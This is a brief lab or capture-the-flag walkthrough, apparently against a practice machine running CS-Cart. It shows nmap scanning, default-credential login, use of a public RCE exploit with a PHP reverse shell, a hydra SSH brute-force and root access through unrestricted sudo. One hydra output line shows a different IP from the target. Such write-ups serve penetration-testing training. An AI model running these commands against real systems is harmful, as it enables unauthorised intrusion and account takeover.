🔎 Enumeration

nmap -A -T4 -sC -sN -oN nmapFull -p 22,80,110,139,143,445,993,995 192.168.167.39

• Port 80 hosted CS-Cart (Apache 2.2.4 with PHP 5.2.3)

• IMAP, POP3, and SSL variants running via Dovecot

• Samba open on ports 139 and 445

• SSH running OpenSSH 4.6p1

⚡ Initial Foothold

• Web login worked with default creds: admin:admin

• Used CS-Cart exploit EDB 48891 for RCE
• Uploaded PHP reverse shell (Ivan Sincek’s from revshells.com)
• Got a shell as www-data

python -c 'import pty; pty.spawn("/bin/bash")'

🪜 Privilege Escalation

• SSH brute-force was required for user patrick

hydra -L users.txt -P users.txt -e nsr -q ssh://192.168.167.39 -t 4 -w 5 -f
[22][ssh] host: 192.168.120.85   login: patrick   password: patrick




# Login found: patrick : patrick
ssh patrick@192.168.167.39

• Full sudo access for patrick allowed immediate escalation:

# using SUdo
sudo -l
>
User patrick may run the following commands on this host:
    (ALL) ALL

# simply doing sudo su gave us root shell
sudo su
